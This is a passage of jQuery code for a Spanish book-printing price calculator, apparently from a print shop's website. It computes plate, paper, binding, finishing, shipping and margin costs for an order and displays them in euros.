$('#estucado_bright_cover_select').hide(); $('#estucado_mate_cover_select').hide(); $('#offset_standard_cover_select').hide(); $('#offset_igloo_cover_select').hide(); $('#recicled_offset_cover_select').hide(); $('#recicled_print_cover_select').hide(); $('#speciality_gardapat_klasica_cover_select').hide(); $('#speciality_gardapat_kiara_cover_select').hide(); $('#speciality_munken_lynx_cover_select').hide(); $('#speciality_munken_pure_cover_select').hide(); $('#speciality_x_per_cover_select').hide(); $('#cartulina_1_c_cover_select').hide(); $('#cartulina_2_c_cover_select').show(); } calculate_price(); }); $("#numofpages").change(function() { var numofpages = $('#numofpages').val(); if (parseInt(numofpages) % 4 != 0) { alert('debe ser múltiplo de 4'); } }); calculate_price(); }); function calculate_price() { //Obtenemos el tipo de papel interior elegido $('#inside_type_group option:selected').each(function() { if ($(this).is(":visible") ) { inside_type = $(this).val(); } }); //Obtenemos el tipo de papel de portada elegido $('#cover_type_group option:selected').each(function() { if ($(this).is(":visible") ) { cover_type = $(this).val(); } }); //Obtenemos el gramaje interior elegido $('#inside_weight_group option:selected').each(function() { if ($(this).is(":visible") ) { inside_weight = $(this).val(); } }); //Obtenemos el gramaje de portada elegido $('#cover_weight_group option:selected').each(function() { if ($(this).is(":visible") ) { cover_weight = $(this).val(); } }); var sheet_cost_unitary = 8.50; var speed_avg = 8500; var cost_hour_machine = 65; var product_size = parseInt($('#product_size').val()); var width_product_size = 63; var heigth_product_size = 88; if (product_size == 3) { width_product_size = 77; heigth_product_size = 100; } var sheet = $('#sheet').val(); var quantity_wanted = $('#quantity_wanted').val(); var num_pages = parseInt($('#numofpages').val()); var print_sheet = num_pages/sheet; var simple_cover = 4; var cover_with_flap = simple_cover / 2; var cover_sheet_without_flap = quantity_wanted / simple_cover; var cover_sheet_with_flap = quantity_wanted / cover_with_flap; //Separamos la parte entera de la decimal para saber las tiradas var full_print_sheet = Math.trunc(print_sheet); var decimal_print_sheet = print_sheet - full_print_sheet; var half_print_sheet = 0; var quarter_print_sheet = 0; var half_printer = 0; var quarter_printer = 0; if (decimal_print_sheet >= 0.5) { half_print_sheet = 1; half_printer = 0.5; decimal_print_sheet = decimal_print_sheet - 0.5; if (decimal_print_sheet >= 0.25) { quarter_print_sheet = 1; quarter_printer = 0.25; } } //Obtenemos las tintas interior y de portada var inside_color_selected = $('#inside_color').val(); var cover_color_selected = $('#cover_color').val(); //Calculamos el numero de planchas para las tiradas completas var total_plates_full_print = inside_color_selected * full_print_sheet * 2; var first_face_full_print = inside_color_selected; var rest_faces_full_print = total_plates_full_print - first_face_full_print; var start_time_full_print = first_face_full_print * (1/4); start_time_full_print = start_time_full_print.toFixed(4); var change_time_full_print = rest_faces_full_print * (1/6); change_time_full_print = change_time_full_print.toFixed(4); var full_shot_2_faces = parseInt(num_pages / parseFloat(sheet)); var total_sheet_per_machine_full_print = (parseInt(quantity_wanted) + 250) * full_shot_2_faces * 2; var time_full_print = total_sheet_per_machine_full_print/speed_avg; time_full_print = time_full_print.toFixed(4); var cost_ctp_full_print = total_plates_full_print * sheet_cost_unitary; var cost_starter_full_print = start_time_full_print * cost_hour_machine; var cost_changer_full_print = change_time_full_print * cost_hour_machine; var cost_print_full_print = time_full_print * cost_hour_machine; //Calculamos el numero de planchas para las tiradas 0.5 var total_plates_half_print = 0; if (half_printer == 0) { total_plates_half_print = 0 }else if (half_printer == 1) { total_plates_half_print = inside_color_selected * 2; }else{ total_plates_half_print = inside_color_selected; } var first_face_half_print = 0; var rest_faces_half_print = total_plates_half_print - first_face_half_print; var start_time_half_print = first_face_half_print * (1/4); start_time_half_print = start_time_half_print.toFixed(4); var change_time_half_print = rest_faces_half_print * (1/6); change_time_half_print = change_time_half_print.toFixed(4); var total_sheet_per_machine_half_print = 0; if (half_printer == 0) { total_sheet_per_machine_half_print = 0; }else{ total_sheet_per_machine_half_print = ((parseInt(quantity_wanted)*half_printer) + 250) * 2; } var time_half_print = total_sheet_per_machine_half_print/speed_avg; time_half_print = time_half_print.toFixed(4); var cost_ctp_half_print = total_plates_half_print * sheet_cost_unitary; var cost_starter_half_print = start_time_half_print * cost_hour_machine; var cost_changer_half_print = change_time_half_print * cost_hour_machine; var cost_print_half_print = time_half_print * cost_hour_machine; var cost_t_r_half_print = 0; if (half_printer == 0) { cost_t_r_half_print = 0; }else{ cost_t_r_half_print = 0.25 * cost_hour_machine; } //Calculamos el numero de planchas para las tiradas 0.25 var total_plates_quarter_print = 0; if (quarter_printer == 0) { total_plates_quarter_print = 0 }else if (quarter_printer == 1) { total_plates_quarter_print = inside_color_selected * 2; }else{ total_plates_quarter_print = inside_color_selected; } var first_face_quarter_print = 0; var rest_faces_quarter_print = total_plates_quarter_print - first_face_quarter_print; var start_time_quarter_print = first_face_quarter_print * (1/4); start_time_quarter_print = start_time_quarter_print.toFixed(4); var change_time_quarter_print = rest_faces_quarter_print * (1/6); change_time_quarter_print = change_time_quarter_print.toFixed(4); var total_sheet_per_machine_quarter_print = 0; if (quarter_printer == 0) { total_sheet_per_machine_quarter_print = 0; }else{ total_sheet_per_machine_quarter_print = ((parseInt(quantity_wanted)*quarter_printer) + 250) * 2; } var total_inside_sheets = (total_sheet_per_machine_full_print + total_sheet_per_machine_half_print + total_sheet_per_machine_quarter_print) / 2; var time_quarter_print = total_sheet_per_machine_quarter_print/speed_avg; time_quarter_print = time_quarter_print.toFixed(4); var cost_ctp_quarter_print = total_plates_quarter_print * sheet_cost_unitary; var cost_starter_quarter_print = start_time_quarter_print * cost_hour_machine; var cost_changer_quarter_print = change_time_quarter_print * cost_hour_machine; var cost_print_quarter_print = time_quarter_print * cost_hour_machine; var cost_t_r_quarter_print = 0; if (quarter_printer == 0) { cost_t_r_quarter_print = 0; }else{ cost_t_r_quarter_print = 0.25 * cost_hour_machine; } //Calculamos el coste ctp para las portadas var cover_faces=cover_color_selected.split('_'); var face_a_color=parseInt(cover_faces[0]); var face_b_color=parseInt(cover_faces[1]); var total_cover_faces = face_a_color + face_b_color; var flaps_selected = $('#flap').val(); var num_flaps = 0; if (flaps_selected == 0) { num_flaps = 4; }else{ num_flaps = 2; } var cost_print_cover_flap = (((quantity_wanted/num_flaps) + 300)/speed_avg) * cost_hour_machine * 2; //cost_print_cover_flap = cost_print_cover_flap.toFixed(2); var cost_ctp_cover = total_cover_faces * sheet_cost_unitary; var cost_starter_cover = (face_a_color/4) * cost_hour_machine; var cost_changer_cover = (face_b_color/6) * cost_hour_machine; //Calculamos el coste total de CTP var cost_ctp_total = cost_ctp_full_print + cost_ctp_half_print + cost_ctp_quarter_print + cost_ctp_cover; //Calculamos el coste total de Impresion var cost_print_total = parseFloat(cost_starter_full_print.toFixed(2)) + parseFloat(cost_changer_full_print.toFixed(2)) + parseFloat(cost_print_full_print.toFixed(2)) + parseFloat(cost_starter_half_print.toFixed(2)) + parseFloat(cost_changer_half_print.toFixed(2)) + parseFloat(cost_t_r_half_print.toFixed(2)) + parseFloat(cost_print_half_print.toFixed(2)) + parseFloat(cost_starter_quarter_print.toFixed(2)) + parseFloat(cost_changer_quarter_print.toFixed(2)) + parseFloat(cost_t_r_quarter_print.toFixed(2)) + parseFloat(cost_print_quarter_print.toFixed(2)) + parseFloat(cost_starter_cover.toFixed(2)) + parseFloat(cost_changer_cover.toFixed(2)) + parseFloat(cost_print_cover_flap.toFixed(2)); //Calculamos el coste de preimpresion var cost_pre_print = 0; if (num_pages < 48) { cost_pre_print = 48; }else{ cost_pre_print = num_pages; } var increment_paper_cost = 0.25; //Incremento al precio de los papeles //Calculamos el coste del papel interior var cost_interior_paper = 0; var paper_inside_cost = 0; var conversion_inside_size = 0; if (inside_paper == 'estucado' && inside_type > 0 && inside_weight > 0) { paper_inside_cost = 0.95; }else if (inside_paper == 'offset' && inside_type > 0 && inside_weight > 0) { if (inside_type == 1) { //standard conversion_inside_size = 0.06; paper_inside_cost = 0.95; if (inside_weight == 5) { paper_inside_cost = 1.12; } }else{ //igloo conversion_inside_size = 0.32; paper_inside_cost = 1.30; } }else if (inside_paper == 'recicled' && inside_type > 0 && inside_weight > 0) { if (inside_type == 1) { //Cyclus offset conversion_inside_size = 0.32; paper_inside_cost = 1.19; }else{ //Cyclus print conversion_inside_size = 0.32; paper_inside_cost = 1.16; } }else if (inside_paper == 'specialities' && inside_type > 0 && inside_weight > 0) { if (inside_type == 1 || inside_type == 2) { //Gardapat Klassica o Gardapat Kiara conversion_inside_size = 0.26; paper_inside_cost = 1.66; }else if (inside_type == 3) { //Munken Lynx conversion_inside_size = 0.32; paper_inside_cost = 1.98; }else if (inside_type == 4) { //Munken Pure conversion_inside_size = 0.26; paper_inside_cost = 1.98; }else{ //x-per conversion_inside_size = 0.32; paper_inside_cost = 1.86; } } paper_inside_cost = paper_inside_cost * (1 + (increment_paper_cost + conversion_inside_size)); console.log('paper_inside_cost = ' + paper_inside_cost); paper_inside_cost = parseFloat(paper_inside_cost); cost_interior_paper = ((width_product_size/100) * (heigth_product_size / 100) * (inside_weight / 1000) * total_inside_sheets) * paper_inside_cost.toFixed(2); cost_interior_paper.toFixed(2); //Calculamos el coste del papel portadas var cost_cover_paper = 0; var paper_cover_cost = 0; var conversion_cover_size = 0; var total_cover_sheets = 0; if (flaps_selected == 0) { total_cover_sheets = cover_sheet_without_flap + 300; }else{ total_cover_sheets = cover_sheet_with_flap + 300; } if (cover_paper == 'estucado' && cover_type > 0 && cover_weight > 0) { paper_cover_cost = 0.98; }else if (cover_paper == 'offset' && cover_type > 0 && cover_weight > 0) { if (cover_type == 1) { //standard conversion_cover_size = 0.06; paper_cover_cost = 1.15; }else{ //igloo conversion_cover_size = 0.32; paper_cover_cost = 1.34; } }else if (cover_paper == 'recicled' && cover_type > 0 && cover_weight > 0) { if (cover_type == 1) { //Cyclus offset conversion_cover_size = 0.32; paper_cover_cost = 1.23; }else{ //Cyclus print conversion_cover_size = 0.32; paper_cover_cost = 1.21; } }else if (cover_paper == 'specialities' && cover_type > 0 && cover_weight > 0) { if (cover_type == 1 || cover_type == 2) { //Gardapat Klassica o Gardapat Kiara conversion_cover_size = 0.26; paper_cover_cost = 1.66; }else if (cover_type == 3 || cover_type == 4) { //Munken Lynx or Munken Pure conversion_cover_size = 0.32; paper_cover_cost = 2.77; }else{ //x-per conversion_cover_size = 0.32; paper_cover_cost = 1.86; } }else if (cover_paper == 'cartulinas' && cover_type > 0 && cover_weight > 0) { if (cover_type == 1) { //1/c conversion_cover_size = 0.26; paper_cover_cost = 2.04; }else{ //2/c conversion_cover_size = 0.26; paper_cover_cost = 2.12; } } paper_cover_cost = paper_cover_cost * (1 + (increment_paper_cost + conversion_cover_size)); paper_cover_cost = parseFloat(paper_cover_cost); cost_cover_paper = ((width_product_size/100) * (heigth_product_size / 100) * (cover_weight / 1000) * total_cover_sheets) * paper_cover_cost.toFixed(2); cost_cover_paper.toFixed(2); //Calculamos el coste de encuadernación var cost_binding = 0; var binding_selected = $('#binding_select').val(); var binding_sheets = full_print_sheet + half_print_sheet + quarter_print_sheet; var increment_manipulating = 0.3; if (binding_selected == 1) { //Rustica cosida var cost_by_sheet = 0.024; var cost_by_cover_without_flap = 0.15; var cost_by_cover_with_flap = 0.30; var cost_binding_unitary = 0; if (flaps_selected == 0) { cost_binding_unitary = (binding_sheets*cost_by_sheet) + cost_by_cover_without_flap; cost_binding_unitary = (cost_binding_unitary * increment_manipulating) + cost_binding_unitary; var minimal_import = (240 * increment_manipulating) + 240; if ((cost_binding_unitary * quantity_wanted) < minimal_import) { cost_binding = minimal_import; }else{ cost_binding = cost_binding_unitary * quantity_wanted; } }else{ cost_binding_unitary = (binding_sheets*cost_by_sheet) + cost_by_cover_with_flap; cost_binding_unitary = (cost_binding_unitary * increment_manipulating) + cost_binding_unitary; var minimal_import = (300 * increment_manipulating) + 300; if ((cost_binding_unitary * quantity_wanted) < minimal_import) { cost_binding = minimal_import; }else{ cost_binding = cost_binding_unitary * quantity_wanted; } } }else{ //Rustica fresada o PUR var cost_by_sheet = 0.020; var cost_by_cover_without_flap = 0.14; var cost_by_cover_with_flap = 0.27; var cost_binding_unitary = 0; if (flaps_selected == 0) { cost_binding_unitary = (binding_sheets*cost_by_sheet) + cost_by_cover_without_flap; cost_binding_unitary = (cost_binding_unitary * increment_manipulating) + cost_binding_unitary; var minimal_import = (200 * increment_manipulating) + 200; if ((cost_binding_unitary * quantity_wanted) < minimal_import) { cost_binding = minimal_import; }else{ cost_binding = cost_binding_unitary * quantity_wanted; } }else{ cost_binding_unitary = (binding_sheets*cost_by_sheet) + cost_by_cover_with_flap; cost_binding_unitary = (cost_binding_unitary * increment_manipulating) + cost_binding_unitary; var minimal_import = (250 * increment_manipulating) + 250; if ((cost_binding_unitary * quantity_wanted) < minimal_import) { cost_binding = minimal_import; }else{ cost_binding = cost_binding_unitary * quantity_wanted; } } } var number_of_sheets = 0; if (flaps_selected == 0) { number_of_sheets = cover_sheet_without_flap; }else{ number_of_sheets = cover_sheet_with_flap; } //Calculamos el coste de glasofonado var cost_glasofonado = 0; var increment_glasofonado = 0.3; var size_product = 0.7; var glasofonado_selected = $('#glasofonado_select').val(); if (glasofonado_selected == 1) { //glasofonado brillo var cost_bright_by_meter = 0.21; var minimal_bright_cost = 60; var cost_bright_by_sheet = cost_bright_by_meter * size_product; if ((number_of_sheets * cost_bright_by_sheet) < minimal_bright_cost){ cost_glasofonado = minimal_bright_cost; }else{ cost_glasofonado = number_of_sheets * cost_bright_by_sheet; } cost_glasofonado = cost_glasofonado * (1 + increment_glasofonado); }else if (glasofonado_selected == 2) { //glasofonado mate var cost_mate_by_meter = 0.32; var minimal_mate_cost = 80; var cost_mate_by_sheet = cost_mate_by_meter * size_product; if ((number_of_sheets * cost_mate_by_sheet) < minimal_mate_cost){ cost_glasofonado = minimal_mate_cost; }else{ cost_glasofonado = number_of_sheets * cost_mate_by_sheet; } cost_glasofonado = cost_glasofonado * (1 + increment_glasofonado); }else if (glasofonado_selected == 3) { //glasofonado tacto seda if (number_of_sheets <= 250) { cost_glasofonado = 159.50 * (1 + increment_glasofonado); }else if (number_of_sheets >= 251 && number_of_sheets <= 500) { cost_glasofonado = 289.00 * (1 + increment_glasofonado); }else if (number_of_sheets >= 501 && number_of_sheets <= 1000) { cost_glasofonado = 518.00 * (1 + increment_glasofonado); }else if (number_of_sheets >= 1001) { cost_glasofonado = (0.5180 * (1 + increment_glasofonado)) * number_of_sheets; } }else if (glasofonado_selected == 4) { //glasofonado antihuella if (number_of_sheets <= 250) { cost_glasofonado = 131.68 * (1 + increment_glasofonado); }else if (number_of_sheets >= 251 && number_of_sheets <= 500) { cost_glasofonado = 233.35 * (1 + increment_glasofonado); }else if (number_of_sheets >= 501 && number_of_sheets <= 1000) { cost_glasofonado = 406.70 * (1 + increment_glasofonado); }else if (number_of_sheets >= 1001) { cost_glasofonado = (0.4067 * (1 + increment_glasofonado)) * number_of_sheets; } } //Calculamos el coste de Barniz UVI var cost_varnish = 0; var varnish_selected = $('#varnish_select').val(); if (varnish_selected == 1) { var increment_varnish = 0.3; if (number_of_sheets <= 250) { cost_varnish = 169.83 * (1 + increment_varnish); }else if (number_of_sheets >= 251 && number_of_sheets <= 500) { cost_varnish = 200.08 * (1 + increment_varnish); }else if (number_of_sheets >= 501 && number_of_sheets <= 1000) { cost_varnish = 261.08 * (1 + increment_varnish); }else if (number_of_sheets >= 1001) { cost_varnish = (0.2611 * (1 + increment_varnish)) * number_of_sheets; } } //Calculamos el coste de Stamping en portada var cost_stamping = 0; var stamping_selected = $('#stamping_select').val(); if (stamping_selected == 1) { var increment_stamping = 0.3; if (number_of_sheets <= 250) { cost_stamping = 367.06 * (1 + increment_stamping); }else if (number_of_sheets >= 251 && number_of_sheets <= 500) { cost_stamping = 581.76 * (1 + increment_stamping); }else if (number_of_sheets >= 501 && number_of_sheets <= 1000) { cost_stamping = 1003.96 * (1 + increment_stamping); }else if (number_of_sheets >= 1001) { cost_stamping = (1.0040 * (1 + increment_stamping)) * number_of_sheets; } } //Calculamos el coste de Golpe Seco en portada var cost_dry_blow = 0; var dry_blow_selected = $('#dry_blow_select').val(); if (dry_blow_selected == 1) { var increment_dry_blow = 0.3; if (number_of_sheets <= 250) { cost_dry_blow = 192.01 * (1 + increment_dry_blow); }else if (number_of_sheets >= 251 && number_of_sheets <= 500) { cost_dry_blow = 242.01 * (1 + increment_dry_blow); }else if (number_of_sheets >= 501 && number_of_sheets <= 1000) { cost_dry_blow = 342.01 * (1 + increment_dry_blow); }else if (number_of_sheets >= 1001) { cost_dry_blow = (0.3420 * (1 + increment_dry_blow)) * number_of_sheets; } } //Calculamos el coste de Retractilado var cost_shrink_wrapping = 0; var shrink_wrapping_selected = $('#shrink_wrapping_select').val(); var unitary_price = 0.12; if (shrink_wrapping_selected == 1) { //Unitario cost_shrink_wrapping = unitary_price * quantity_wanted; }else if (shrink_wrapping_selected == 2) { //paquetes var elements_by_package = 3; cost_shrink_wrapping = (unitary_price * quantity_wanted) / elements_by_package; } //Añadimos el coste de los portes var shipping_cost = 0; var minimal_shipping = 15; var kg_pallet = 400; var cost_per_pallet = 40; var max_width = 230; var max_height = 330; var gramaje_interior = inside_weight; var gramaje_portada = cover_weight; var height_width_inside = ((max_width*max_height / 1000000) * num_pages / 4) * gramaje_interior / 1000 * 2; var height_width_cover = (max_width * max_height) / 1000000 * (gramaje_portada / 1000) * 2; var unitary_weight_without_flaps = (height_width_inside + height_width_cover) * 1000; var unitary_weight_with_flaps = (height_width_inside + (height_width_cover * 2)) * 1000; var total_weight_without_flaps = unitary_weight_without_flaps * quantity_wanted / 1000; var total_weight_with_flaps = unitary_weight_with_flaps * quantity_wanted / 1000; var weight_per_pallet = 0; if (flaps_selected == 0) { weight_per_pallet = total_weight_without_flaps / kg_pallet; }else{ weight_per_pallet = total_weight_with_flaps / kg_pallet; } if ((weight_per_pallet*cost_per_pallet) < minimal_shipping) { shipping_cost = minimal_shipping; }else{ shipping_cost = weight_per_pallet*cost_per_pallet; } //Miramos si ha seleccionado muestra previa y le añadimos el cost var preview_cost = 0; var preview_selected = $('#preview').val(); if (preview_selected == 1) { preview_cost = 30; } //Calculamos el precio total antes del beneficio var final_price_without_benefit = cost_pre_print + cost_ctp_total + cost_print_total + cost_interior_paper + cost_cover_paper + cost_binding + cost_glasofonado + cost_varnish + cost_stamping + cost_dry_blow + cost_shrink_wrapping + shipping_cost + preview_cost; var benefit = parseFloat($('#benefit').val()) / 100; //Calculamos el precio final con el beneficio var final_price = (final_price_without_benefit * benefit) + final_price_without_benefit; $('#preprint_cost').html(cost_pre_print.toFixed(2) + ' €'); $('#ctp_cost').html(cost_ctp_total.toFixed(2) + ' €'); $('#print_cost').html(cost_print_total.toFixed(2) + ' €'); $('#inside_paper_cost').html(cost_interior_paper.toFixed(2) + ' €'); $('#cover_paper_cost').html(cost_cover_paper.toFixed(2) + ' €'); $('#binding_cost').html(cost_binding.toFixed(2) + ' €'); $('#glasofonado_cost').html(cost_glasofonado.toFixed(2) + ' €'); $('#varnish_cost').html(cost_varnish.toFixed(2) + ' €'); $('#stamping_cost').html(cost_stamping.toFixed(2) + ' €'); $('#dry_blow_cost').html(cost_dry_blow.toFixed(2) + ' €'); $('#shrink_wrapping_cost').html(cost_shrink_wrapping.toFixed(2) + ' €'); $('#shipping_cost').html(shipping_cost.toFixed(2) + ' €'); $('#preview_cost').html(preview_cost.toFixed(2) + ' €'); $('#total_cost').html(final_price_without_benefit.toFixed(2) + ' €'); $('#pvp_cost').html(final_price.toFixed(2) + ' €'); } </script>
Close